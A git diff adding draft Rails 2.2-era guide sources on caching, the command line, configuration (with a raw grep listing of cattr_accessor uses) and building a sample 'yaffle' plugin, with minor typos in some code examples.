00000000..e680b79d --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt @@ -0,0 +1,367 @@ +Caching with Rails: An overview +=============================== + +Everyone caches. This guide will teach you what you need to know about +avoiding that expensive round-trip to your database and returning what you +need to return to those hungry web clients in the shortest time possible. + +== Basic Caching + +This is an introduction to the three types of caching techniques that Rails +provides by default without the use of any third party plugins. + +To get started make sure config.action_controller.perform_caching is set +to true for your environment. This flag is normally set in the +corresponding config/environments/*.rb and caching is disabled by default +there for development and test, and enabled for production. + +[source, ruby] +----------------------------------------------------- +config.action_controller.perform_caching = true +----------------------------------------------------- + +=== Page Caching + +Page caching is a Rails mechanism which allows the request for a generated +page to be fulfilled by the webserver, without ever having to go through the +Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be +applied to every situation (such as pages that need authentication) and since +the webserver is literally just serving a file from the filesystem, cache +expiration is an issue that needs to be dealt with. + +So, how do you enable this super-fast cache behavior? Simple, let's say you +have a controller called ProductsController and a 'list' action that lists all +the products + +[source, ruby] +----------------------------------------------------- +class ProductsController < ActionController + + caches_page :index + + def index; end + +end +----------------------------------------------------- + +The first time anyone requests products/index, Rails will generate a file +called index.html and the webserver will then look for that file before it +passes the next request for products/index to your Rails application. + +By default, the page cache directory is set to Rails.public_path (which is +usually set to RAILS_ROOT + "/public") and this can be configured by +changing the configuration setting ActionController::Base.page_cache_directory. Changing the +default from /public helps avoid naming conflicts, since you may want to +put other static html in /public, but changing this will require web +server reconfiguration to let the web server know where to serve the +cached files from. + +The Page Caching mechanism will automatically add a .html exxtension to +requests for pages that do not have an extension to make it easy for the +webserver to find those pages and this can be configured by changing the +configuration setting ActionController::Base.page_cache_extension. + +In order to expire this page when a new product is added we could extend our +example controler like this: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ActionController + + caches_page :list + + def list; end + + def create + expire_page :action => :list + end + +end +----------------------------------------------------- + +If you want a more complicated expiration scheme, you can use cache sweepers +to expire cached objects when things change. This is covered in the section on Sweepers. + +[More: caching paginated results? more examples? Walk-through of page caching?] + +=== Action Caching + +One of the issues with Page Caching is that you cannot use it for pages that +require to restrict access somehow. This is where Action Caching comes in. +Action Caching works like Page Caching except for the fact that the incoming +web request does go from the webserver to the Rails stack and Action Pack so +that before filters can be run on it before the cache is served, so that +authentication and other restrictions can be used while still serving the +result of the output from a cached copy. + +Clearing the cache works in the exact same way as with Page Caching. + +Let's say you only wanted authenticated users to edit or create a Product +object, but still cache those pages: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ActionController + + before_filter :authenticate, :only => [ :edit, :create ] + caches_page :list + caches_action :edit + + def list; end + + def create + expire_page :action => :list + expire_action :action => :edit + end + + def edit; end + +end +----------------------------------------------------- + +And you can also use :if (or :unless) to pass a Proc that specifies when the +action should be cached. Also, you can use :layout => false to cache without +layout so that dynamic information in the layout such as logged in user info +or the number of items in the cart can be left uncached. This feature is +available as of Rails 2.2. + + +[More: more examples? Walk-through of Action Caching from request to response? + Description of Rake tasks to clear cached files? Show example of + subdomain caching? Talk about :cache_path, :if and assing blocks/Procs + to expire_action?] + +=== Fragment Caching + +Life would be perfect if we could get away with caching the entire contents of +a page or action and serving it out to the world. Unfortunately, dynamic web +applications usually build pages with a variety of components not all of which +have the same caching characteristics. In order to address such a dynamically +created page where different parts of the page need to be cached and expired +differently Rails provides a mechanism called Fragment Caching. + +Fragment Caching allows a fragment of view logic to be wrapped in a cache +block and served out of the cache store when the next request comes in. + +As an example, if you wanted to show all the orders placed on your website +in real time and didn't want to cache that part of the page, but did want +to cache the part of the page which lists all products available, you +could use this piece of code: + +[source, ruby] +----------------------------------------------------- +<% Order.find_recent.each do |o| %> + <%= o.buyer.name %> bought <% o.product.name %> +<% end %> + +<% cache do %> + All available products: + <% Product.find(:all).each do |p| %> + <%= link_to p.name, product_url(p) %> + <% end %> +<% end %> +----------------------------------------------------- + +The cache block in our example will bind to the action that called it and is +written out to the same place as the Action Cache, which means that if you +want to cache multiple fragments per action, you should provide an action_suffix to the cache call: + +[source, ruby] +----------------------------------------------------- +<% cache(:action => 'recent', :action_suffix => 'all_products') do %> + All available products: +----------------------------------------------------- + +and you can expire it using the expire_fragment method, like so: + +[source, ruby] +----------------------------------------------------- +expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products) +----------------------------------------------------- + +[More: more examples? description of fragment keys and expiration, etc? pagination?] + +=== Sweepers + +Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment} calls in your code by moving all the work +required to expire cached content into a ActionController::Caching::Sweeper +class that is an Observer and looks for changes to an object via callbacks, +and when a change occurs it expires the caches associated with that object n +an around or after filter. + +Continuing with our Product controller example, we could rewrite it with a +sweeper such as the following: + +[source, ruby] +----------------------------------------------------- +class StoreSweeper < ActionController::Caching::Sweeper + observe Product # This sweeper is going to keep an eye on the Post model + + # If our sweeper detects that a Post was created call this + def after_create(product) + expire_cache_for(product) + end + + # If our sweeper detects that a Post was updated call this + def after_update(product) + expire_cache_for(product) + end + + # If our sweeper detects that a Post was deleted call this + def after_destroy(product) + expire_cache_for(product) + end + + private + def expire_cache_for(record) + # Expire the list page now that we added a new product + expire_page(:controller => '#{record}', :action => 'list') + + # Expire a fragment + expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products') + end +end +----------------------------------------------------- + +Then we add it to our controller to tell it to call the sweeper when certain +actions are called. So, if we wanted to expire the cached content for the +list and edit actions when the create action was called, we could do the +following: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ActionController + + before_filter :authenticate, :only => [ :edit, :create ] + caches_page :list + caches_action :edit + cache_sweeper :store_sweeper, :only => [ :create ] + + def list; end + + def create + expire_page :action => :list + expire_action :action => :edit + end + + def edit; end + +end +----------------------------------------------------- + +[More: more examples? better sweepers?] + +=== SQL Caching + +Query caching is a Rails feature that caches the result set returned by each +query so that if Rails encounters the same query again for that request, it +will used the cached result set as opposed to running the query against the +database again. + +For example: + +[source, ruby] +----------------------------------------------------- +class ProductsController < ActionController + + before_filter :authenticate, :only => [ :edit, :create ] + caches_page :list + caches_action :edit + cache_sweeper :store_sweeper, :only => [ :create ] + + def list + # Run a find query + Product.find(:all) + + ... + + # Run the same query again + Product.find(:all) + end + + def create + expire_page :action => :list + expire_action :action => :edit + end + + def edit; end + +end +----------------------------------------------------- + +In the 'list' action above, the result set returned by the first +Product.find(:all) will be cached and will be used to avoid querying the +database again the second time that finder is called. + +Query caches are created at the start of an action and destroyed at the end of +that action and thus persist only for the duration of the action. + +=== Cache stores + +Rails provides different stores for the cached data for action and fragment +caches. Page caches are always stored on disk. + +The cache stores provided include: + +1) Memory store: Cached data is stored in the memory allocated to the Rails + process, which is fine for WEBrick and for FCGI (if you + don't care that each FCGI process holds its own fragment + store). It's not suitable for CGI as the process is thrown + away at the end of each request. It can potentially also + take up a lot of memory since each process keeps all the + caches in memory. + +[source, ruby] +----------------------------------------------------- +ActionController::Base.cache_store = :memory_store +----------------------------------------------------- + +2) File store: Cached data is stored on the disk, this is the default store + and the default path for this store is: /tmp/cache. Works + well for all types of environments and allows all processes + running from the same application directory to access the + cached content. + + +[source, ruby] +----------------------------------------------------- +ActionController::Base.cache_store = :file_store, "/path/to/cache/directory" +----------------------------------------------------- + +3) DRb store: Cached data is stored in a separate shared DRb process that all + servers communicate with. This works for all environments and + only keeps one cache around for all processes, but requires + that you run and manage a separate DRb process. + +[source, ruby] +----------------------------------------------------- +ActionController::Base.cache_store = :drb_store, "druby://localhost:9192" +----------------------------------------------------- + +4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead. + Requires the ruby-memcache library: + gem install ruby-memcache. + +[source, ruby] +----------------------------------------------------- +ActionController::Base.cache_store = :mem_cache_store, "localhost" +----------------------------------------------------- + +5) Custom store: You can define your own cache store (new in Rails 2.1) + +[source, ruby] +----------------------------------------------------- +ActionController::Base.cache_store = MyOwnStore.new("parameter") +----------------------------------------------------- + +== Advanced Caching + +Along with the built-in mechanisms outlined above, a number of excellent +plugins exist to help with finer grained control over caching. These include +Chris Wanstrath's excellent cache_fu plugin (more info here: +http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's +interlock plugin (more info here: +http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both +of these plugins play nice with memcached and are a must-see for anyone +seriously considering optimizing their caching needs. diff --git a/vendor/rails/railties/doc/guides/source/command_line.txt b/vendor/rails/railties/doc/guides/source/command_line.txt new file mode 100644 index 00000000..5f7c6cef --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/command_line.txt @@ -0,0 +1,147 @@ +A Guide to The Rails Command Line +================================= + +Rails comes with every command line tool you'll need to + +* Create a Rails application +* Generate models, controllers, database migrations, and unit tests +* Start a development server +* Mess with objects through an interactive shell +* Profile and benchmark your new creation + +... and much, much more! (Buy now!) + +This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide. + +== Command Line Basics == + +There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: + +* console +* server +* rake +* generate +* rails + +Let's create a simple Rails application to step through each of these commands in context. + +=== rails === + +The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails. + +NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure. + +[source,shell] +------------------------------------------------------ +$ rails commandsapp + + create + create app/controllers + create app/helpers + create app/models + ... + ... + create log/production.log + create log/development.log + create log/test.log +------------------------------------------------------ + +Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. + +NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing! + +=== server === + +Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser. + +NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section] + +Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app: + +[source,shell] +------------------------------------------------------ +$ cd commandsapp +$ ./script/server +=> Booting WEBrick... +=> Rails 2.2.0 application started on http://0.0.0.0:3000 +=> Ctrl-C to shutdown server; call with --help for options +[2008-11-04 10:11:38] INFO WEBrick 1.3.1 +[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux] +[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000 +------------------------------------------------------ + +WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait. + +See? Cool! It doesn't do much yet, but we'll change that. + +=== generate === + +The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that: + +[source,shell] +------------------------------------------------------ +$ ./script/generate +Usage: ./script/generate generator [options] [args] + +... +... + +Installed Generators + Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration + +... +... +------------------------------------------------------ + +NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! + +Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right? + +Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: + +NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`. + +[source,shell] +------------------------------------------------------ +$ ./script/generate controller +Usage: ./script/generate controller ControllerName [options] + +... +... + +Example: + `./script/generate controller CreditCard open debit credit close` + + Credit card controller with URLs like /credit_card/debit. + Controller: app/controllers/credit_card_controller.rb + Views: app/views/credit_card/debit.html.erb [...] + Helper: app/helpers/credit_card_helper.rb + Test: test/functional/credit_card_controller_test.rb + +Modules Example: + `./script/generate controller 'admin/credit_card' suspend late_fee` + + Credit card admin controller with URLs /admin/credit_card/suspend. + Controller: app/controllers/admin/credit_card_controller.rb + Views: app/views/admin/credit_card/debit.html.erb [...] + Helper: app/helpers/admin/credit_card_helper.rb + Test: test/functional/admin/credit_card_controller_test.rb +------------------------------------------------------ + +Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us. + +[source,shell] +------------------------------------------------------ +$ ./script/generate controller Greeting hello + exists app/controllers/ + exists app/helpers/ + create app/views/greeting + exists test/functional/ + create app/controllers/greetings_controller.rb + create test/functional/greetings_controller_test.rb + create app/helpers/greetings_helper.rb + create app/views/greetings/hello.html.erb +------------------------------------------------------ + +Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command! + diff --git a/vendor/rails/railties/doc/guides/source/configuring.txt b/vendor/rails/railties/doc/guides/source/configuring.txt new file mode 100644 index 00000000..07b630c5 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/configuring.txt @@ -0,0 +1,225 @@ +Configuring Rails Applications +============================== + +This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to: + +* Adjust the behavior of your Rails applications +* Add additional code to be run at application start time + +== Locations for Initialization Code + +preinitializers +environment.rb first +env-specific files +initializers (load_application_initializers) +after-initializer + +== Using a Preinitializer + +== Configuring Rails Components + +=== Configuring Active Record + +=== Configuring Action Controller + +=== Configuring Action View + +=== Configuring Action Mailer + +=== Configuring Active Resource + +=== Configuring Active Support + +== Using Initializers + organization, controlling load order + +== Using an After-Initializer + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket] + +* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy] + + +actionmailer/lib/action_mailer/base.rb +257: cattr_accessor :logger +267: cattr_accessor :smtp_settings +273: cattr_accessor :sendmail_settings +276: cattr_accessor :raise_delivery_errors +282: cattr_accessor :perform_deliveries +285: cattr_accessor :deliveries +288: cattr_accessor :default_charset +291: cattr_accessor :default_content_type +294: cattr_accessor :default_mime_version +297: cattr_accessor :default_implicit_parts_order +299: cattr_reader :protected_instance_variables + +actionmailer/Rakefile +36: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' + +actionpack/lib/action_controller/base.rb +263: cattr_reader :protected_instance_variables +273: cattr_accessor :asset_host +279: cattr_accessor :consider_all_requests_local +285: cattr_accessor :allow_concurrency +317: cattr_accessor :param_parsers +321: cattr_accessor :default_charset +325: cattr_accessor :logger +329: cattr_accessor :resource_action_separator +333: cattr_accessor :resources_path_names +337: cattr_accessor :request_forgery_protection_token +341: cattr_accessor :optimise_named_routes +351: cattr_accessor :use_accept_header +361: cattr_accessor :relative_url_root + +actionpack/lib/action_controller/caching/pages.rb +55: cattr_accessor :page_cache_directory +58: cattr_accessor :page_cache_extension + +actionpack/lib/action_controller/caching.rb +37: cattr_reader :cache_store +48: cattr_accessor :perform_caching + +actionpack/lib/action_controller/dispatcher.rb +98: cattr_accessor :error_file_path + +actionpack/lib/action_controller/mime_type.rb +24: cattr_reader :html_types, :unverifiable_types + +actionpack/lib/action_controller/rescue.rb +36: base.cattr_accessor :rescue_responses +40: base.cattr_accessor :rescue_templates + +actionpack/lib/action_controller/session/active_record_store.rb +60: cattr_accessor :data_column_name +170: cattr_accessor :connection +173: cattr_accessor :table_name +177: cattr_accessor :session_id_column +181: cattr_accessor :data_column +282: cattr_accessor :session_class + +actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb +44: cattr_accessor :included_tags, :instance_writer => false + +actionpack/lib/action_view/base.rb +189: cattr_accessor :debug_rjs +193: cattr_accessor :warn_cache_misses + +actionpack/lib/action_view/helpers/active_record_helper.rb +7: cattr_accessor :field_error_proc + +actionpack/lib/action_view/helpers/form_helper.rb +805: cattr_accessor :default_form_builder + +actionpack/lib/action_view/template_handlers/erb.rb +47: cattr_accessor :erb_trim_mode + +actionpack/test/active_record_unit.rb +5: cattr_accessor :able_to_connect +6: cattr_accessor :connected + +actionpack/test/controller/filters_test.rb +286: cattr_accessor :execution_log + +actionpack/test/template/form_options_helper_test.rb +3:TZInfo::Timezone.cattr_reader :loaded_zones + +activemodel/lib/active_model/errors.rb +28: cattr_accessor :default_error_messages + +activemodel/Rakefile +19: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' + +activerecord/lib/active_record/attribute_methods.rb +9: base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false +11: base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false + +activerecord/lib/active_record/base.rb +394: cattr_accessor :logger, :instance_writer => false +443: cattr_accessor :configurations, :instance_writer => false +450: cattr_accessor :primary_key_prefix_type, :instance_writer => false +456: cattr_accessor :table_name_prefix, :instance_writer => false +461: cattr_accessor :table_name_suffix, :instance_writer => false +467: cattr_accessor :pluralize_table_names, :instance_writer => false +473: cattr_accessor :colorize_logging, :instance_writer => false +478: cattr_accessor :default_timezone, :instance_writer => false +487: cattr_accessor :schema_format , :instance_writer => false +491: cattr_accessor :timestamped_migrations , :instance_writer => false + +activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb +11: cattr_accessor :connection_handler, :instance_writer => false + +activerecord/lib/active_record/connection_adapters/mysql_adapter.rb +166: cattr_accessor :emulate_booleans + +activerecord/lib/active_record/fixtures.rb +498: cattr_accessor :all_loaded_fixtures + +activerecord/lib/active_record/locking/optimistic.rb +38: base.cattr_accessor :lock_optimistically, :instance_writer => false + +activerecord/lib/active_record/migration.rb +259: cattr_accessor :verbose + +activerecord/lib/active_record/schema_dumper.rb +13: cattr_accessor :ignore_tables + +activerecord/lib/active_record/serializers/json_serializer.rb +4: base.cattr_accessor :include_root_in_json, :instance_writer => false + +activerecord/Rakefile +142: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' + +activerecord/test/cases/lifecycle_test.rb +61: cattr_reader :last_inherited + +activerecord/test/cases/mixin_test.rb +9: cattr_accessor :forced_now_time + +activeresource/lib/active_resource/base.rb +206: cattr_accessor :logger + +activeresource/Rakefile +43: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' + +activesupport/lib/active_support/buffered_logger.rb +17: cattr_accessor :silencer + +activesupport/lib/active_support/cache.rb +81: cattr_accessor :logger + +activesupport/lib/active_support/core_ext/class/attribute_accessors.rb +5:# cattr_accessor :hair_colors +10: def cattr_reader(*syms) +29: def cattr_writer(*syms) +50: def cattr_accessor(*syms) +51: cattr_reader(*syms) +52: cattr_writer(*syms) + +activesupport/lib/active_support/core_ext/logger.rb +34: cattr_accessor :silencer + +activesupport/test/core_ext/class/attribute_accessor_test.rb +6: cattr_accessor :foo +7: cattr_accessor :bar, :instance_writer => false + +activesupport/test/core_ext/module/synchronization_test.rb +6: @target.cattr_accessor :mutex, :instance_writer => false + +railties/doc/guides/html/creating_plugins.html +786: cattr_accessor :yaffle_text_field, :yaffle_date_field +860: cattr_accessor :yaffle_text_field, :yaffle_date_field + +railties/lib/rails_generator/base.rb +93: cattr_accessor :logger + +railties/Rakefile +265: rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object' + +railties/test/rails_info_controller_test.rb +12: cattr_accessor :local_request + +Rakefile +32: rdoc.options << '-A cattr_accessor=object' + diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt new file mode 100644 index 00000000..de116af7 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt @@ -0,0 +1,191 @@ +== Add an `acts_as_yaffle` method to Active Record == + +A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. + +To begin, set up your files so that you have: + +*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +[source, ruby] +------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' + +class ActsAsYaffleTest < Test::Unit::TestCase +end +------------------------------------------------------ + +*vendor/plugins/yaffle/lib/yaffle.rb* + +[source, ruby] +------------------------------------------------------ +require 'yaffle/acts_as_yaffle' +------------------------------------------------------ + +*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +[source, ruby] +------------------------------------------------------ +module Yaffle + # your code will go here +end +------------------------------------------------------ + +Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models. + +One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so: + +*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +[source, ruby] +------------------------------------------------------ +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + # any method placed here will apply to classes, like Hickwall + def acts_as_something + send :include, InstanceMethods + end + end + + module InstanceMethods + # any method placed here will apply to instaces, like @hickwall + end +end +------------------------------------------------------ + +With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`). + +=== Add a class method === + +This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. + +To start out, write a failing test that shows the behavior you'd like: + +*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +[source, ruby] +------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' + +class Hickwall < ActiveRecord::Base + acts_as_yaffle +end + +class Wickwall < ActiveRecord::Base + acts_as_yaffle :yaffle_text_field => :last_tweet +end + +class ActsAsYaffleTest < Test::Unit::TestCase + load_schema + + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end +end +------------------------------------------------------ + +To make these tests pass, you could modify your `acts_as_yaffle` file like so: + +*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +[source, ruby] +------------------------------------------------------ +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field + self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + end + end +end + +ActiveRecord::Base.send :include, Yaffle +------------------------------------------------------ + +=== Add an instance method === + +This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. + +To start out, write a failing test that shows the behavior you'd like: + +*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* + +[source, ruby] +------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' + +class Hickwall < ActiveRecord::Base + acts_as_yaffle +end + +class Wickwall < ActiveRecord::Base + acts_as_yaffle :yaffle_text_field => :last_tweet +end + +class ActsAsYaffleTest < Test::Unit::TestCase + load_schema + + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end + + def test_hickwalls_squawk_should_populate_last_squawk + hickwall = Hickwall.new + hickwall.squawk("Hello World") + assert_equal "squawk! Hello World", hickwall.last_squawk + end + + def test_wickwalls_squawk_should_populate_last_tweeted_at + wickwall = Wickwall.new + wickwall.squawk("Hello World") + assert_equal "squawk! Hello World", wickwall.last_tweet + end +end +------------------------------------------------------ + +Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this: + +*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* + +[source, ruby] +------------------------------------------------------ +module Yaffle + def self.included(base) + base.send :extend, ClassMethods + end + + module ClassMethods + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field + self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s + send :include, InstanceMethods + end + end + + module InstanceMethods + def squawk(string) + write_attribute(self.class.yaffle_text_field, string.to_squawk) + end + end +end + +ActiveRecord::Base.send :include, Yaffle +------------------------------------------------------ + +.Editor's note: +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt new file mode 100644 index 00000000..a78890cc --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt @@ -0,0 +1,46 @@ +== Appendix == + +=== References === + + * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i + * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii + * http://github.com/technoweenie/attachment_fu/tree/master + * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html + +=== Final plugin directory structure === + +The final plugin should have a directory structure that looks something like this: + +------------------------------------------------ + |-- MIT-LICENSE + |-- README + |-- Rakefile + |-- generators + | `-- yaffle + | |-- USAGE + | |-- templates + | | `-- definition.txt + | `-- yaffle_generator.rb + |-- init.rb + |-- install.rb + |-- lib + | |-- acts_as_yaffle.rb + | |-- commands.rb + | |-- core_ext.rb + | |-- routing.rb + | `-- view_helpers.rb + |-- tasks + | `-- yaffle_tasks.rake + |-- test + | |-- acts_as_yaffle_test.rb + | |-- core_ext_test.rb + | |-- database.yml + | |-- debug.log + | |-- routing_test.rb + | |-- schema.rb + | |-- test_helper.rb + | `-- view_helpers_test.rb + |-- uninstall.rb + `-- yaffle_plugin.sqlite3.db +------------------------------------------------ + diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt new file mode 100644 index 00000000..ee408adb --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt @@ -0,0 +1,59 @@ +== Add a controller == + +This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model. + +You can test your plugin's controller as you would test any other controller: + +*vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:* + +[source, ruby] +---------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' +require 'woodpeckers_controller' +require 'action_controller/test_process' + +class WoodpeckersController; def rescue_action(e) raise e end; end + +class WoodpeckersControllerTest < Test::Unit::TestCase + def setup + @controller = WoodpeckersController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + end + + def test_index + get :index + assert_response :success + end +end +---------------------------------------------- + +This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: + +*vendor/plugins/yaffle/lib/yaffle.rb:* + +[source, ruby] +---------------------------------------------- +%w{ models controllers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end +---------------------------------------------- + + +*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:* + +[source, ruby] +---------------------------------------------- +class WoodpeckersController < ActionController::Base + + def index + render :text => "Squawk!" + end + +end +---------------------------------------------- + +Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt new file mode 100644 index 00000000..ca8efc3d --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt @@ -0,0 +1,123 @@ +== Extending core classes == + +This section will explain how to add a method to String that will be available anywhere in your rails app by: + + * Writing tests for the desired behavior + * Creating and requiring the correct files + +=== Creating the test === + +In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions: + +*vendor/plugins/yaffle/test/core_ext_test.rb* + +[source, ruby] +-------------------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' + +class CoreExtTest < Test::Unit::TestCase + def test_to_squawk_prepends_the_word_squawk + assert_equal "squawk! Hello World", "Hello World".to_squawk + end +end +-------------------------------------------------------- + +Navigate to your plugin directory and run `rake test`: + +-------------------------------------------------------- +cd vendor/plugins/yaffle +rake test +-------------------------------------------------------- + +The test above should fail with the message: + +-------------------------------------------------------- + 1) Error: +test_to_squawk_prepends_the_word_squawk(CoreExtTest): +NoMethodError: undefined method `to_squawk' for "Hello World":String + ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' +-------------------------------------------------------- + +Great - now you are ready to start development. + +=== Organize your files === + +A common pattern in rails plugins is to set up the file structure like this: + +-------------------------------------------------------- +|-- lib +| |-- yaffle +| | `-- core_ext.rb +| `-- yaffle.rb +-------------------------------------------------------- + +The first thing we need to to is to require our 'lib/yaffle.rb' file from 'rails/init.rb': + +*vendor/plugins/yaffle/rails/init.rb* + +[source, ruby] +-------------------------------------------------------- +require 'yaffle' +-------------------------------------------------------- + +Then in 'lib/yaffle.rb' require 'lib/core_ext.rb': + +*vendor/plugins/yaffle/lib/yaffle.rb* + +[source, ruby] +-------------------------------------------------------- +require "yaffle/core_ext" +-------------------------------------------------------- + +Finally, create the 'core_ext.rb' file and add the 'to_squawk' method: + +*vendor/plugins/yaffle/lib/yaffle/core_ext.rb* + +[source, ruby] +-------------------------------------------------------- +String.class_eval do + def to_squawk + "squawk! #{self}".strip + end +end +-------------------------------------------------------- + +To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. To see this in action, fire up a console and start squawking: + +-------------------------------------------------------- +$ ./script/console +>> "Hello World".to_squawk +=> "squawk! Hello World" 